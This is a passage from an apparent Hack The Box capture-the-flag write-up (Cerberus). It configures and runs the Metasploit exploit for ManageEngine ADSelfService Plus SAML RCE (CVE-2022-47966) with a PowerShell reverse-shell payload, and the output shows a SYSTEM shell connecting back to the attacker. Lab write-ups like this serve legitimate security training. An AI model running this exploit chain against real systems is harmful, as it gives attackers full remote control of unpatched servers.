└─$ grep -i issuer_url *
ADSIAMIDPAuthConfigParams.txt:1 ISSUER_URL http://dc.cerberus.local/adfs/services/trust
With all the required details gathered, we can now configure the Metasploit module and give it a run.
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
GUID => 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
ISSUER_URL => http://dc.cerberus.local/adfs/services/trust
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set Proxies socks5:127.0.0.1:8888
Proxies => socks5:127.0.0.1:8888
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set lhost tun0
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set payload cmd/windows/powershell_reverse_tcp
payload => cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > set ReverseAllowProxy true
ReverseAllowProxy => true
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > run
[*] Started reverse TCP handler on 10.10.16.141:4444
[!] AutoCheck is disabled, proceeding with exploitation
[*] Powershell session session 1 opened (10.10.16.141:4444 -> 10.129.235.114:62132) at 2025-09-01 13:32:37 +1200
PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\bin> whoami
nt authority\system
The exploit spawns a shell running as NT AUTHORITY\SYSTEM. From here, the root flag can be found at:
C:\Users\Administrator\Desktop
References
- HTB Official Walkthrough for Cerberus
- https://0xdf.gitlab.io/2023/07/29/htb-cerberus.html